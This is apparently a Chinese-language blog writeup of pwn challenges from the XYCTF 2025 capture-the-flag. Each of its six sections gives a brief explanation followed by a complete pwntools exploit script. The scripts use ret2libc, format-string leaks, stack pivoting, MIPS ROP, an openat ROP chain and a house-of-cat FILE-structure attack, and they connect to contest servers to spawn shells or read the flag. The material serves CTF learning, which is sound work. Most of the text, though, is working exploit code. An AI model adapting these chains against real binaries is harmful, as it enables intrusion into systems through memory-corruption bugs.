0%

XYCTF 2025 pwn 部分writeup

XYCTF 2025 pwn 部分writeup

Ret2libc’s Revenge

stdout被设置为无缓冲,无法直接泄露地址,通过溢出多次循环执行puts把缓冲区填满,在最后一步填入可leak的地址,然后就是ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

elf = ELF('../ctf_file/attachment')
context.binary = elf
libc = ELF("../just_libc/libc6_2.35-0ubuntu3.9_amd64.so")

def start():
if args.R:
return remote("8.147.132.32",18280)
io = process(elf.path)
if args.G:
gdb.attach(io, SET_TERMINAL+"b *0x401260")
return io

def lg(s):
return info(f'\033[1;33m{f"{s}-->0x{eval(s):02x}"}\033[0m')

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

and_rsi_0 = 0x4010E4
pop_rbp = 0x000000000040117d
gadget = 0x4010EB # add rsi, [rbp+20h];ret
mov_rdi_rsi = 0x401180

pd = b'a'*(0x220-4)+p32(0x220+8-3)
pd += p64(0x40128D)
sleep(1)

# recv_data = ""
# i=0
# while len(recv_data) == 0:
# payload = pd
# # sleep(1)
# io.sendline(payload)
# print(i)
# wait = 1
# recv_data = io.recv(numb=48,timeout=wait)
# i = 1 + i

for i in range(214):
sl(pd)

pd = b'a'*(0x220-4)+p32(0x220+8-3)

pd += p64(and_rsi_0)
pd += p64(pop_rbp) + p64(0x400600-0x20)
pd += p64(gadget)
pd += p64(mov_rdi_rsi)
pd += p64(elf.plt['puts'])
pd += p64(0x40128D)
sl(pd)

libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols[b"puts"]
lg("libc_base")

libc_system = libc_base + libc.symbols[b'system']
ret = 0x4011FE
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi = libc_base +next(libc.search(asm("pop rdi; ret")))

pd = b'a'*(0x220-4)+p32(0x220+8-3)
pd += p64(ret)
pd += p64(pop_rdi)
pd += p64(bin_sh)
pd += p64(libc_system)
sla("Ret",pd)

io.interactive()

girlfriend

字符串格式化漏洞泄露地址,rop写进bss段,栈迁移即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

elf = ELF('../ctf_file/girlfriend.patch')
context.binary = elf
libc = elf.libc

def start():
if args.R:
return remote("47.94.172.18",26644)
io = process(elf.path)
if args.G:
gdb.attach(io, SET_TERMINAL+"b *$rebase(0x1676)")
return io

def lg(s):
return info(f'\033[1;33m{f"{s}-->0x{eval(s):02x}"}\033[0m')

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

def choice(idx):
sla(b'Choice:', str(idx))

choice(3)
# menoy fun1 fun3
sla(b'name first',b'a'*0x30+p32(0x10000000)+p32(0)+p32(0xffffff00))

choice(3)
sla(b'name first',b'%15$p.%17$p.%19$p')
ru(b'0x')
canary = int(io.recvuntil(b'.', drop=True),16)
lg("canary")
libc_base = int(io.recvuntil(b'.', drop=True),16) - 0x29d90
lg("libc_base")
pie_base = int(io.recvuntil(b'\n', drop=True),16) - 0x1817
lg("pie_base")

pop_rdi = 0x000000000002a3e5 + libc_base
pop_rsi = 0x000000000002be51 + libc_base
pop_rdx_r12 = 0x000000000011f2e7 + libc_base
pop_rax = 0x0000000000045eb0 + libc_base
syscall_ret = 0x91316 + libc_base
leave_ret = 0x000000000004da83 + libc_base
mprotect = libc.symbols['mprotect'] + libc_base
read = libc.symbols['read'] + libc_base

bss = 0x4060 + pie_base + 0x200

rop = p64(pop_rdi) + p64(pie_base+0x4000)
rop += p64(pop_rsi) + p64(0x1000)
rop += p64(pop_rdx_r12) + p64(7) + p64(0)
rop += p64(mprotect)

rop += p64(pop_rdi) + p64(0)
rop += p64(pop_rsi) + p64(bss+0x700)
rop += p64(pop_rdx_r12) + p64(0x100) + p64(0)
rop += p64(read) + p64(bss+0x700)

choice(3)
sla(b'name first',b'a'*0x30+p32(0x10000000)+p32(0)+p32(0xffffff00)+p32(0) + rop)

choice(1)
pd = b'a'*0x38+p64(canary)+p64(pie_base+0x4060+0x40-8)+p64(leave_ret)
pause()
sa(b'to her?',pd)

pause()
sl(asm(shellcraft.openat(0, '/flag', 0, 0)+shellcraft.sendfile(1,3,0,0x100)))

io.interactive()

明日方舟寻访模拟器

根据每次抽卡数量计算动态计算总数,构造出sh,即0x6873,脚本有个局限性,有可能较大也有可能小于等于10抽,小于10抽时可以优化脚本进行对颜色字符的判断,但是比较麻烦,爆破一下就行了,然后溢出执行system,这里本来用plt表来执行system,但是无法栈平衡,又考虑do_system,但是并不知道libc地址,所以用程序中已有的call system即可达到栈平衡

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

elf = ELF('../ctf_file/arknights')
context.binary = elf
libc = elf.libc

def start():
if args.R:
return remote("47.94.217.82",22536)
io = process(elf.path)
if args.G:
gdb.attach(io, SET_TERMINAL+"b *0x40191B")
return io

def lg(s):
return info(f'\033[1;33m{f"{s}-->0x{eval(s):02x}"}\033[0m')

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

def employ(count):
sl("")
sla('抽卡',b'3')
sla('次数:',str(count))

bss = 0x405100+0x700
target = 26739
bin_sh = 0x405be8
pop_rdi = 0x00000000004018e5
ret = 0x000000000040101a

while True:
io = remote("47.94.217.82",22536)
star_4 = 0
while True:
count = (target - star_4) * 2
if (target - star_4)*2 > 10000:
count = 10000
employ(count)
ru('4星 ')
star_4 += int(io.recvuntil(" ",drop=True),10)
print(f"star_4:{star_4}")
if star_4 == target:
print("success")
sl("a")
sla("抽卡",b'4')
pd = b'a'*0x40+p64(bss+0x700)+p64(pop_rdi)+p64(bin_sh)+p64(0x4018FC)
sla('退出',b'1')
sa('名字:',pd)
sleep(0.5)
sl("exec 1>&2")

io.interactive()
if star_4 > target:
print("to much")
io.close()
break

if target - star_4 < 6:
print("less than 6")
io.close()
break

EZ3.0

mips架构的pwn,有system,利用内置gadget设置$a0并跳转到system即可

1
2
3
lw      $a0, 8($sp)
lw $t9, 4($sp)
jalr $t9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

elf = ELF('../ctf_file/EZ3.0')
context.binary = elf
# libc = elf.libc

import subprocess

def start():
if args.R:
return remote("39.106.48.123",26447)
elif args.G:
io = process(['qemu-mipsel','-g','1234','-L','/usr/mipsel-linux-gnu/',elf.path])
subprocess.Popen([
'gnome-terminal',
'--geometry=170x59+75+70',
'--',
'bash',
'-c',
f"gdb-multiarch -ex 'file {elf.path}' -ex 'target remote 127.0.0.1:1234'; exec bash"
])
else:
io = process(['qemu-mipsel','-L','/usr/mipsel-linux-gnu/',elf.path])
return io

def lg(s):
return info(f'\033[1;33m{f"{s}-->0x{eval(s):02x}"}\033[0m')

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

gadget = 0x400A20
"""
lw $a0, 8($sp)
lw $t9, 4($sp)
jalr $t9
"""
cat_flag = 0x411010
system = 0x4009EC
pd = b'a'*0x20 + p32(0xdeadbeef)+ p32(gadget) + p32(0xdeadbeef)
pd += p32(system)+p32(cat_flag)
pause()
sa(b'> ',pd)

io.interactive()

奶龙回家

选1可泄露地址,先改v19提高循坏次数,再改v17为6跳过v17==5的判断避免执行额外的syscall,然后用在返回地址布置rop,open用不了?试了半天用openat才行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *

elf = ELF('../ctf_file/nailong')
context.binary = elf
libc = ELF('/home/feichai/glibc-all-in-one/libs/2.35-0ubuntu3.9_amd64/libc.so.6')

def lg(s):
return info(f'\033[1;33m{f"{s}-->0x{eval(s):02x}"}\033[0m')

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

from ctypes import *
libcc = CDLL(elf.libc.path)
libcc.srand.argtypes = [c_uint]

def choice(idx):
sla(b'chose 4',str(idx))

def write_(addr):
choice(1)
sa(b"want do?",str(addr))

def read_(addr,content):
choice(2)
sa(b"want do?",str(addr))
sa(b'you want\n',content)

while True:
libcc.srand(libcc.time(0))
number = libcc.rand() % 432 + 80
io = remote("47.94.217.82",32834)
ru(b"rbp + offset:")
stack = int(io.recvuntil("end", drop=True),10) - number
lg("stack")
if stack % 0x10 == 0:
break
io.close()

sla(b'lou_ma',b'1')

write_(0x4040C8)
ru(b'\n')
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.symbols['read']
lg("libc_base")

read_(stack-0x803c,p32(102)) # v19
read_(stack-0x8044,p32(6)) # v17

open = libc_base + libc.symbols['open']
openat = libc_base + libc.symbols['openat']
read = libc_base + libc.symbols['read']
write = libc_base + libc.symbols['write']

ret_addr = stack+8

bss = 0x404140+0x600
pop_rdi = 0x000000000002a3e5 + libc_base
pop_rsi = 0x000000000002be51 + libc_base
pop_rdx_r12 = 0x00000000000904a9 + libc_base
pop_rax = 0x0000000000045eb0 + libc_base
syscall_ret = 0x91316 + libc_base
ret = 0x0000000000029139 + libc_base

flag_str = 0x404700
flag_text = 0x404700+0x100

def write_sign():
rop = p64(pop_rdi) + p64(1)
rop += p64(pop_rsi) + p64(0x4021F8)
rop += p64(pop_rdx_r12) + p64(0x50) + p64(0)
rop += p64(pop_rax) + p64(1)
rop += p64(syscall_ret)
return rop

rop = b""

rop += write_sign()
#read
rop += p64(pop_rdi) + p64(0)
rop += p64(pop_rsi) + p64(bss)
rop += p64(pop_rdx_r12) + p64(0x30) + p64(0)
rop += p64(pop_rax) + p64(0)
rop += p64(syscall_ret)

#openat
rop += p64(pop_rdi) + p64(0)
rop += p64(pop_rsi) + p64(bss)
rop += p64(pop_rdx_r12) + p64(0) + p64(0)
rop += p64(pop_rax) + p64(257)
rop += p64(syscall_ret)

#read
rop += p64(pop_rdi) + p64(3)
rop += p64(pop_rsi) + p64(bss+0x100)
rop += p64(pop_rdx_r12) + p64(0x50) + p64(0)
rop += p64(pop_rax) + p64(0)
rop += p64(syscall_ret)

#write
rop += p64(pop_rdi) + p64(1)
rop += p64(pop_rsi) + p64(bss+0x100)
rop += p64(pop_rdx_r12) + p64(0x50) + p64(0)
rop += p64(pop_rax) + p64(1)
rop += p64(syscall_ret)

print(len(rop)//4+2)
context.log_level = 'debug'
for i in range(len(rop)//4):
read_(ret_addr+i*4,rop[i*4:i*4+4])
sa("xiao_peng",b'/flag\x00\x00\x00')

io.interactive()

bot

protobuf协议,逆出来后如下

1
2
3
4
5
6
7
8
9
syntax = "proto2";

message devicemsg {
required int32 id = 1;
required string sender = 2;
required uint32 len = 3;
required bytes content = 4;
required int32 actionid = 5;
}

然后有个堆溢出,通过0级可以控制1级指针,chunk[idx]存着返回地址,不可修改,会进行判断,chunk[idx]+8可以修改,所以要先泄露出pie地址,计算bss段中stdout的地址,把chunk[1]+8的指针替换为stdout,泄露出libc,然后再把chunk[1]+8替换为libc中的stdout,再把fake_IO_FILE写进stdout,通过puts触发house of cat,完成getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
import ctf_pb2

elf = ELF('../ctf_file/bot')
context.binary = elf
libc = elf.libc

def start():
if args.R:
return remote("8.147.132.32",20003)
io = process(elf.path)
if args.G:
gdb.attach(io, SET_TERMINAL+"b *$rebase(0x85E2)\nb *$rebase(0x82F8)")
return io

def lg(s):
return info(f'\033[1;33m{f"{s}-->0x{eval(s):02x}"}\033[0m')

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a,timeout=0.2)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

def add(idx,size,content=b'aaaa'):
message = ctf_pb2.devicemsg()
message.id = idx
message.sender = "admin"
message.len = size
message.content = content
message.actionid = 1
data = message.SerializeToString()
sa(b'TESTTESTTEST!', data)

def show(idx):
message = ctf_pb2.devicemsg()
message.id = idx
message.sender = "admin"
message.len = 0x30
message.content = b"aaaa"
message.actionid = 2
data = message.SerializeToString()
sa(b'TESTTESTTEST!', data)

def exit_():
message = ctf_pb2.devicemsg()
message.id = 0
message.sender = "admin"
message.len = 0x30
message.content = b"aaaa"
message.actionid = 3
data = message.SerializeToString()
sa(b'TESTTESTTEST!', data)

add(0,0x20,b'b'*0x20)
show(0)
ru(b'b'*0x20)
pie_base = u64(r(6).ljust(8,b'\x00')) - 0x88a3
lg("pie_base")
stdout = pie_base + 0xD040
lg("stdout")

# leak libc
add(0,0x30,b'b'*0x20+p64(pie_base+0x88a3)+p64(stdout))
show(1)
stdout = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = stdout - 0x21b780
lg("libc_base")
system = libc_base + libc.sym['system']

add(0,0x30,b'b'*0x20+p64(pie_base+0x88a3)+p64(stdout))

fake_io_addr = stdout # 伪造的fake_IO结构体的地址
fake_IO_FILE = b''
fake_IO_FILE += p32(0x01018001)+b";sh\x00"
fake_IO_FILE = fake_IO_FILE.ljust(0x50,b'\x00')
fake_IO_FILE += p64(1) #_IO_backup_base=rdx
fake_IO_FILE += p64(system) #_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30) #_wide_data,rax1 [rax+0xe0]
fake_IO_FILE = fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE += p64(0) #mode=0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8,b'\x00')
fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x10)
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # #rax2 -> to make [rax+0x18] = call addr
# pause()
add(1,len(fake_IO_FILE),fake_IO_FILE)

io.interactive()

heap2本来要打house of cat去FSOP,但是不知道是不是c++的原因,exit函数中循环了很多次把rcx置零了,导致没办法getshell,后面去查看了下原因,好像是因为c++有很多析构函数?具体不清楚,看了别的师傅使用house of apple2去打的,得好好补补io file了

web苦手会不了一点,不懂web,慢慢来吧,加油!

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道